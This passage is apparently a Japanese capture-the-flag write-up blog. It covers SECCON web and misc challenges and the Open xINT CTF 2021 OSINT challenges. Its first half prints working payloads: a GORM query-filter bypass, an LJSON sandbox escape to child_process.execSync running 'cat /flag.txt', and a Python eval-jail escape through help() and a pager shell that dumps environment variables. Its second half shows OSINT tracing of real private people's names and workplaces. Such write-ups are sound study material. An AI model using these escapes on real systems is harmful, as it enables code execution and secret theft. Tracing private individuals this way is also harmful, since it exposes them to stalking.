    db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"})
    db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag})

    r := gin.Default()

    // Return a list of vulnerability names
    // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]}
    r.GET("/api/vulnerabilities", func(c *gin.Context) {
        var vulns []Vulnerability
        if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil {
            c.JSON(400, gin.H{"Error": "DB error"})
            return
        }
        var names []string
        for _, vuln := range vulns {
            names = append(names, vuln.Name)
        }
        c.JSON(200, gin.H{"Vulnerabilities": names})
    })

    // Return details of the vulnerability
    // {"Logo": "???.png", "URL": "https://..."}
    r.POST("/api/vulnerability", func(c *gin.Context) {
        // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

        // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

        c.JSON(200, gin.H{
            "Logo": vuln.Logo,
            "URL":  vuln.URL,
        })
    })

    r.Use(static.Serve("/", static.LocalFile("static", false)))

    if err := r.Run(":8080"); err != nil {
        log.Fatal(err)
    }
}

GORMのドキュメントを見ていると、/api/vulnerability で使われている db.Where(&query) は、フィールドの値が 0, '', false のようなゼロ値である場合にはそのフィールドがクエリの絞り込みに使われないということがわかった。つまり、Name, Logo, URL のいずれもゼロ値として扱われる値を含むようにすれば SELECT * FROM vulnerabilities のように検索条件が取っ払われるはずだ。

しかしながら、ソースコードをよく見ると事前にJSONに含まれている Name というプロパティの値が '' でも nil でもないことがチェックされていることがわかる。そんな…。

       // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

この後で json が再利用されることはなく、なぜか query という新しい変数が使われている。どういうことだろう。

       // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

Name には hoge のようなゼロ値でない適当な文字列を入れておいて、別に name という空文字列の入っているプロパティをJSONに生やせばどうなるのだろうと思い試してみる。すると最初のレコードであるHeartbleedの情報が返ってきた。どうやら query.Name に空文字列を入れることができたらしい。

$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":""}'
{"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"}

しかしフラグの含まれているレコードを取得できなければ意味がない。Logo, URL のいずれのフィールドにもフラグが含まれており、これらを使って目的のレコードに絞り込むことはできない。ほかにフィールドがないか再びGORMのドキュメントやソースコードを確認してみると、Vulnerability という構造体に埋め込まれている gorm.Model には、以下のように ID などのフィールドが含まれていることがわかった。

type Model struct {
    ID        uint           `gorm:"primaryKey"`
    CreatedAt time.Time
    UpdatedAt time.Time
    DeletedAt gorm.DeletedAt `gorm:"index"`
}

ID を14とするとフラグが得られた。

$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":"","ID":14}'
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}
SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}

[Web 205] Sequence as a Service 1 (20 solves)

I've heard that SaaS is very popular these days. So, I developed it, too. You can access it here.

好きな数列のn番目の値を求めてくれる便利サービス。ソースコードを読んでみると、以下のように /api/getValuesequence というGETパラメータとしてLJSONというフォーマットの文字列を与えると実行してくれることがわかる。

/api/getValue?sequence=%28a%2Cb%29%3D%3E%28a%28%22%2C%22%2Ca%28%22%2C%22%2Ca%28%22set%22%2Ca%28%22self%22%29%2C0%2C1%29%2Ca%28%22for%22%2C0%2Cb%2C%28c%29%3D%3E%28a%28%22set%22%2Ca%28%22self%22%29%2C0%2Ca%28%22*%22%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%2C2%29%29%29%29%29%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%29%29&n=4

LJSONはJSONでも関数が扱えるようにしたようなフォーマットであり、とはいえセキュリティを考慮してか限られた関数しか呼び出せず、また文法を確認しても((a)=>(a)).constructor.constructor のようにプロパティを辿るような機能はなさそうソースコードを読むと、この問題ではビルトインの関数として +, -, for などの安全そうなもののみが扱えるようになっていることがわかる。

// lib.js
const lib = {
  "+": (x, y) => x + y,
  "-": (x, y) => x - y,
  "*": (x, y) => x * y,
  "/": (x, y) => x / y,
  ",": (x, y) => (x, y),
  "for": (l, r, f) => {
    for (let i = l; i < r; i++) {
      f(i);
    }
  },
  "set": (map, i, value) => {
    map[i] = value;
    return map[i];
  },
  "get": (map, i) => {
    return typeof i === "number" ? map[i] : null;
  },
  "self": () => lib,
};

module.exports = lib;
// service.js
const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence = process.argv[2];
const n = parseInt(process.argv[3]);

console.log(LJSON.parseWithLib(lib, sequence)(n));

オブジェクトのプロパティにアクセスできる関数として get が与えられているが、残念ながら typeof i === "number" と添字が Number であるか確認されている。typeof 演算子をごまかして a("get",123,"constructor") のようなことができれば嬉しいが、おそらくできない。

オブジェクトのプロパティに値を代入できる関数として set が与えられている。こちらは指定したプロパティに指定した値を代入後、変更された後の値を返り値として返している。よく見ると、(map, i, value) => { map[i] = value; return map[i]; } と引数の value をそのまま返すのではなく、わざわざ map[i] を返している。普通ならこれらは同じ値だが、もし map[i] = value によって map[i] が書き換えられなければどうだろうか。つまり、non-writableなプロパティではどうなるだろうか。そのような場合では、set を引数が Number であるか確認しない get として扱えるはずだ。

以下のようなJavaScriptコードを使って、配列やら関数やら色々なオブジェクトのnon-writableなプロパティを探していると、Function.prototype.callerFunction.prototype.argumentsが見つかった。MDNでは非推奨とされているが、この問題で使われているNode.js 17.0.1ではまだ残っている。呼び出し元の関数や、あるいはそれらに渡された引数になにか有用なものがあれば setget を駆使してアクセスできるはずだ。

const target = Object.getPrototypeOf([]);
const descs = Object.getOwnPropertyDescriptors(target);
const nonWritableProps = Object.entries(descs).filter(([k, v]) => !v.writable);
console.log(nonWritableProps.map(([k, _]) => k));

(a,b)=>( a("set",a,"caller",123) ) で呼び出し元の関数をチェックし、(a,b)=>( a("set",a("set",a,"caller",123),"arguments",123) ) でその関数に与えられた引数をチェックし、次に呼び出し元の関数の呼び出し元の関数をチェックし…という作業を続けていくと、a.caller.caller.caller.argumentsrequire が含まれていることがわかった。

[Arguments] {
  '0': {},
  '1': [Function: require] {
    resolve: [Function: resolve] { paths: [Function: paths] },
    main: Module {
      id: '.',
      path: '/app',
      exports: {},
      filename: '/app/service.js',
      loaded: false,
      children: [Array],
      paths: [Array]
    },
    extensions: [Object: null prototype] {
      '.js': [Function (anonymous)],
      '.json': [Function (anonymous)],
      '.node': [Function (anonymous)]
    },
    cache: [Object: null prototype] {
      '/app/service.js': [Module],
      '/app/node_modules/ljson/LJSON.js': [Module],
      '/app/node_modules/ljson/parsenhora.js': [Module],
      '/app/lib.js': [Module]
    }
  },
  '2': Module {
    id: '.',
    path: '/app',
    exports: {},
    filename: '/app/service.js',
    loaded: false,
    children: [ [Module], [Module] ],
    paths: [ '/app/node_modules', '/node_modules' ]
  },
  '3': '/app/service.js',
  '4': '/app'
}

あとは require('child_process').execSync 相当のことをして終わりかと思いきや、残念ながらそれだけではない。モジュールの execSync プロパティにアクセスしようにも、前述のようにLJSON自身はプロパティへのアクセスをサポートしていないし、set でアクセスしようにも execSync はwritableなので書き換えてしまう。

少し悩んで、a("self")lib を取得した後に lib.__proto__ = require('child_process') 相当のことをすれば、a("execSync","ls",{"encoding":"utf-8"}) でOSコマンドを実行できるのではないかと考えた。ということで、以下のコードでフラグが得られた。

(a,b)=>( [ a("set",a("self"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")), a("execSync","cat /flag.txt",{"encoding":"utf-8"}) ] )
[
  {
    _forkChild: [Function: _forkChild],
    ChildProcess: [Function: ChildProcess],
    exec: [Function: exec],
    execFile: [Function: execFile],
    execFileSync: [Function: execFileSync],
    execSync: [Function: execSync],
    fork: [Function: fork],
    spawn: [Function: spawn],
    spawnSync: [Function: spawnSync]
  },
  'SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}\n'
]
SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}

[Web 210] Sequence as a Service 2 (19 solves)

NEW FEATURE: You can get values from two sequences at the same time! Go here.

ということで、SaaS 1に同時に2つの数列から値を取ってこれるようになったが、ついでに a("self") から lib にアクセスできないようになってしまった。

// service.js
const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence0 = process.argv[2];
const n0 = parseInt(process.argv[3]);
const sequence1 = process.argv[4];
const n1 = parseInt(process.argv[5]);

console.log([
  LJSON.parseWithLib(lib, sequence0)({}, n0),
  LJSON.parseWithLib(lib, sequence1)({}, n1),
]);

それなら a("self") の代替として require("./lib.js"); を使って lib を取ってこればよい。以下のコードでフラグが得られた。

(a,b,c) => ( [ a("set",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("./lib.js"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")),a("execSync","cat /flag.txt",{"encoding":"utf-8"})]))
[
  1,
  [
    {
      _forkChild: [Function: _forkChild],
      ChildProcess: [Function: ChildProcess],
      exec: [Function: exec],
      execFile: [Function: execFile],
      execFileSync: [Function: execFileSync],
      execSync: [Function: execSync],
      fork: [Function: fork],
      spawn: [Function: spawn],
      spawnSync: [Function: spawnSync]
    },
    'SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}\n'
  ]
]
SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}

[Misc 227] hitchhike (16 solves)

The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.

添付ファイルとしてサーバ側で動いているソースコードが与えられている。{x} * {v} の右辺に入力した8文字以内の文字列が、左辺に 6, 6.6, '666', [6666], {b'6':6666} がひとつずつ展開され eval される。そのすべてで評価した結果が42になるようにすればよいらしい。

#!/usr/bin/env python3.9
import os

def f(x):
    print(f'value 1: {repr(x)}')
    v = input('value 2: ')
    if len(v) > 8: return
    return eval(f'{x} * {v}', {}, {})

if __name__ == '__main__':
    print("+---------------------------------------------------+")
    print("| The Answer to the Ultimate Question of Life,      |")
    print("|                the Universe, and Everything is 42 |")
    print("+---------------------------------------------------+")

    for x in [6, 6.6, '666', [6666], {b'6':6666}]:
        if f(x) != 42:
            print("Something is fundamentally wrong with your universe.")
            exit(1)
        else:
            print("Correct!")

    print("Congrats! Here is your flag:")
    print(os.getenv("FLAG", "FAKECON{try it on remote}"))

最初の4つでは 0+42 を入力すればよいことをkeymoonさんが見つけていたが、5問目では左辺が dict であるために例外が発生してしまい通らない。1if 0else 42 のように条件式を使えば {b'6':6666}*1 の部分を評価させないようにできるのではと考えたが、それでも12文字だし弾かれてしまう。

しばらく考えて、これは真面目に取り組むような問題ではなくなんらかの方法で任意コード実行に持ち込むようなものなのではと思い始める。6文字以下のビルトイン関数でなにかいいものがないか探してみると、help が見つかった。helppydoc を使っているし、pydoc ではページャーを呼び出せる。lessmore を起動できれば、コマンドからOSコマンドを呼び出せるはず。

>>> [k for k in dir(__builtins__) if len(k) <= 6]
['False', 'None', 'True', '_', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytes', 'chr', 'dict', 'dir', 'divmod', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'hash', 'help', 'hex', 'id', 'input', 'int', 'iter', 'len', 'list', 'locals', 'map', 'max', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'quit', 'range', 'repr', 'round', 'set', 'slice', 'sorted', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

help を呼び出し、タブキーを押してからエンターを押すとページャーが起動した。!printenv環境変数からフラグが得られた。

$ nc hiyoko.quals.seccon.jp 10042
+---------------------------------------------------+
| The Answer to the Ultimate Question of Life,      |
|                the Universe, and Everything is 42 |
+---------------------------------------------------+
value 1: 6
value 2: help()

Welcome to Python 3.9's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.9/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> [Tab][Return]
...
--More--:!printenv
!printenv
HOSTNAME=57775d161be2
SOCAT_PEERADDR=…
HOME=/home/ctf
SOCAT_PEERPORT=…
SOCAT_SOCKADDR=172.21.0.2
LC_CTYPE=C.UTF-8
SOCAT_VERSION=1.7.3.3
SOCAT_SOCKPORT=10042
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DEBIAN_FRONTEND=noninteractive
PWD=/home/ctf
SOCAT_PID=7261
SOCAT_PPID=8
FLAG=SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}
------------------------
SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}

Open xINT CTF 2021 writeup

10/23に9時間だけ開催された。keymoonさん、ptr-yudaiさんと一緒に(実質ミニzer0ptsである)チーム٩(๑òωó๑)۶として出て1位。昨年のOpen xINT CTF 2020から2年連続で、そして同じくOSINTメインの大会であるTsukuCTF 2021に引き続き優勝できて嬉しい ٩(๑òωó๑)۶

競技の終盤は、古いオルゴールの写った写真の撮影場所を特定するDISKと、アフガニスタンのカーブルにある店の名前を特定するAfganistanに結構な時間を費やしてしまった。チームメンバーと一緒にGoogleマップ上でパイオニアの川越工場とカーブルとの間を反復横跳びした結果としてAfganistanは解けたものの、DISKは解けず悔しい。精進していきたい。


[PLACE 100] SUB (64 solves)

潜水艦が見える。撮影した場所を答えよ。

I see a submarine. Where did I take this picture?

写真の奥側にやたらとクレーンが見えたり、工場のような建物があったりして造船所っぽい雰囲気がある。「潜水艦 造船所」で画像検索するとよく似た雰囲気の写真が含まれるニュースがヒットする。川崎重工の神戸工場らしい。

Googleマップでこのあたりを見ていると、第4ドックの対岸にあるハーバーウォークのあたりの模様が、与えられた写真の下部に写っているものと一致していることに気づく。ここだ。

f:id:st98:20211024095149p:plain

N34.678,E135.185

[PLACE 200] Maple (18 solves)

写真を撮影した場所の正式な"公園"の名前を答えよ

What is the official name of this "park"?

文字情報はまったくないが、画像中央に円形の人工池があったり、画像左下にアスレチックらしき道があったり、特徴的なものがある。適当なワードで検索してもそれっぽいものは見つけられなかったので、Googleレンズで検索して粘り強くその結果を眺めていると、よく似た人工池の写った写真が見つかった。京都府城陽市にある「鴻ノ巣山運動公園」だ。

鴻ノ巣山運動公園

[PLACE 250] Regular (28 solves)

ランチはいつもここに決めてる。新鮮な野菜や果物を出してくれるから、ここが一番好き。いつも素敵な笑顔で提供してくれる女将さんのことも、もちろん大好き。そういえば女将さんの名前、何だっけ? フルネームを教えて。

I come here for lunch every day. This restaurant is my favorite because they serve fresh vegetables and fruits. And of course, I'm in love with the restaurant manager who always brings me the lunch plate with her lovely smile. I want to know her name. Would you please tell me her full name?

飲食店の前で撮影されたらしき写真が与えられている。問題文で言及されている女将さんらしき人物と鹿とが対峙している場面(知らんけど)で、奈良か宮島あたりだろうとある程度あたりがつけられる。写真の左側に写っている英語表記の看板に「Japanese cuisine」という表記があり、ここが和食のお店らしいという情報が得られる。また、写真の右下に「山一」と店名らしき単語が写っているのは大きなヒントだろう。

f:id:st98:20211024100915p:plain

「山一 宮島」で検索すると「山一 本店」や「山一別館」といったお店がヒットするが、写真の左側に写っているタイルなどと突き合わせると後者であるとわかる。

f:id:st98:20211024101501p:plain

このお店に関係する人物の名前が知りたい。適当なワードで検索すると広島県の公開する資料がヒットし、代表者の名前がわかった。この名前を足がかりにFacebookなどを検索すると、女将さんの名前がわかった。

[PLACE 500] Afganistan (5 solves)

この店の2件隣にある店の名前を英語表記で答えよ

Answer the shop's name (English) two buildings away from the shop in the picture.

今年のカーブル陥落後にニュースでよく見た写真が与えられている。写真の右上に書かれている「Taj Beauty Salon」は店名だろう。ググるFacebookのページが見つかり、お店の位置がわかるが、Googleマップを見てもこのお店の名前は見つからないし、どれが「2件隣にある店」なのかわからない。

悩んでいると、ptr-yudaiさんがYouTubeに上がっているニュース動画を見つけた。このお店が写っている。よく見ると、2件隣に「Arya Store」とある。

Arya Store

[WEB 50] WHOIS (114 solves)

pinja.xyz の最新の更新された時間を示せ。

When was pinja.xyz last update?

whois コマンドで pinja.xyz の情報を確認すると、更新された日時がわかった。

$ whois pinja.xyz
…
Updated Date: 2021-10-20T16:04:20.0Z
…
2021-10-20T16:04:20.0Z

[WEB 100] past cetificate (35 solves)

日本にサイバークリーンセンター(Cyber Clean Center) という組織がありました。その組織の最後の電子証明書のシリアルナンバーを答えよ。

There used to be an organization in Japan called Cyber Clean Center. Answer the serial number of the last issued electronic certificate.

サイバークリーンセンター」でググって出てきたWikipediaの記事を見ると、かつてこの組織のWebサイトは www.ccc.go.jp というドメイン名でホストされていたこと、2015年3月にそのWebサイトが閉鎖されたことがわかる。

電子証明書の確認と言えばcrt.shだ。www.ccc.go.jp で検索すると7個の電子証明書がヒットするが、ほとんどはWebサイトの閉鎖以降に記録されたものであることに注意する。2015年3月時点で使われていたと思われるものは3647207だ。

37:d4:64:28:16:b8:5d:b6:7d:1b:e7:55:80:b7:8c:25

[WEB 150] Plate (52 solves)

このナンバープレートの車種を答えよ

Answer the car model that uses this number plate.

ナンバープレートの写真が与えられている。ナンバープレートの左側に NSW とあり、「nsw number plate」でググるとオーストラリアのニューサウスウェールズ州で発行されているものであるとわかる。

f:id:st98:20211024103553p:plain

プレートのナンバーで検索できるサービスもあり、これで検索するとヒットした。

f:id:st98:20211024103948p:plain

LANCER

[WEB 200] waitress (23 solves)

ついに2021年9月24日に卒業することができたわ! 卒業はするけど、ウェイトレスとして働いているからお店で待ってるね

I graduated the university on September 24, 2021! I'll still be working at the restaurant. You know the name of the restaurant, right?

卒業記念に撮ったと思われる、学位記を持った人物の写真が与えられている。学位記から大学名や学部名などの情報が得られる。この大学のFacebookページに投稿された写真を眺めていると、与えられた写真の元になったらしきものが見つかる。写っている名前を検索すると、この人物のLinkedInページがヒットする。そこに問題文で求められている店名が書かれていた。

[WEB 250] e-bike (14 solves)

2021年10月2日未明、ニューヨークのとある街角でE-バイクに乗った男性が横転し、アスファルトに身体を打ち付けて亡くなった。警察の話では、現場に他の車両などがなかったとのこと。本当は何があったのだろうか。少し距離はあるが、ある建物に監視カメラがあった。うまくいけば、当時の様子が録画されているかもしれない。そのカメラが取り付けてある店の電話番号を教えてくれ(ハイフンなし、連番で回答)。

October 2, 2021 midnight, a man riding an e-bike in New York was thrown off and died after hitting hard on the ground. There were no other vehicles at the scene, according to the police. I wonder what really happened. I found a shop with a surveillance camera not far from the scene. Maybe it has footage of the accident. What is the phone number of the shop? (no hyphen)

この事故に関するニュースがないか「new york e-bike」で検索してみると、結構な件数がヒットする。10/2から10/4に書かれたニュースに限って検索すると、一番上にそれっぽい記事が見つかった。

ニュースの本文から事故が起こった位置がある程度わかる。近くにある監視カメラのある店の電話番号を入力していくと解けた。

7189012316

[BUS 150] TOKYO2020 (36 solves)

私は東京オリンピックを取材にシンガポールから着た記者である。会場からMPCに戻るときの専用バスに乗るのであるが、バスのWi-Fiのパスワードを教えてほしい。

I came from Singapore to cover Tokyo Olympics. I'm going to take a shuttle bus back to MPC from the stadium, and I want to use the bus Wi-Fi. What is the Wi-Fi password?

雑にGoogleで「tokyo olympics bus wi-fi」という検索ワードで画像検索すると、トップにWi-Fiのパスワードが写った写真が出てきた。マジか。

[BUS 300] soar to new heights (12 solves)

私の名前を冠した学校がようやく完成した。すでに亡くなった私には、このスクールバスに乗って学校に通う学区の子どもたちを見送ることはできない。せめて、楽しく学びの多い学生生活が送れることを空の向こうから見守っていこう。あぁ、開校式に参加してくれた妻にも思いを伝えたい。さあ、私と一緒に妻の名前を呼んでくれ(妻の名前をフルネームで答えよ)。

A school named after me has finally opened. I can't see off the children on the school bus since I died a while ago. I hope, from the sky above, their school life will be fruitful and educative. I also want to send my love to my wife, who attended the ribbon-cutting ceremony. Please call her name with me. (answer in full name)

スクールバスがどこかに向かっている様子が撮影された写真が与えられている。写真の左奥に「Cold Springs Valley」と読めないこともない標識が見える。ネバダ州のワショー郡の地域らしい。

f:id:st98:20211024105625p:plain

スクールバスのナンバープレートもネバダ州のものであり、それっぽい。

f:id:st98:20211024105823p:plain

GoogleマップでCold Springs Valleyのあたりに移動して「school」を検索してみたが、多すぎて困る。このあたりの住所を見てみると「Reno」という地名が含まれていることがわかる。

nevada reno new school ribbon-cutting ceremony」でググってみると大変それっぽいニュースが出てきた。学校名から問題文の「私」はMichael Inskeepさんであり、またニュースの本文から「妻」はGeri Inskeepさんであることがわかる。

Geri Inskeep

[FORENSICS 100] JELLY FISH (36 solves)

この写真を撮影したスマートフォンが起動した時間を示せ。(日本時間)

What is the boot time of the smartphone that took this picture? (Answer in JST)

HEIC形式の写真が与えられている。ExifToolに投げると以下のような情報が得られた。

$ exiftool IMG_2650.HEIC
…
Run Time Since Power Up         : 4 days 1:49:02
…
Create Date                     : 2021:10:02 13:41:09.853+09:00
Date/Time Original              : 2021:10:02 13:41:09.853+09:00
…

2021年10月2日13時41分9秒から4日と1時間49分2秒前の日時は、2021年9月28日11時52分7秒だ。

2021/09/28 11:52:07

[FORENSICS 200] pilgrimage (35 solves)

志摩リン(ドラマ版)の家から一番近い携帯電話基地局のCell IDは?

What is the Cell ID of the mobile phone base station closest to the house of Rin Shima (志摩リン) in TV drama version?

ゆるキャン 聖地 ドラマ」でググると、ドラマ版での家の場所がわかる。「cell id database」でググるOpenCelliDという大変便利なデータベースがヒットする。これで検索すると最寄りの基地局のCell IDがわかった。

38190592

[DarkWeb 100] North (28 solves)

北朝鮮に関するダークウェブ上の日本語情報があるホスト名を答えよ

On the dark web, there's a website about North Korea written in Japanese. Answer its hostname.

雑に「北朝鮮 ダークウェブ onion」で検索するとリンク集がヒットした。その中にそれっぽいものがある。

ivxrfwu6yozpws5y6yjjk7odqpdnyyupxire4qt3qurg27o3pq5se2id.onion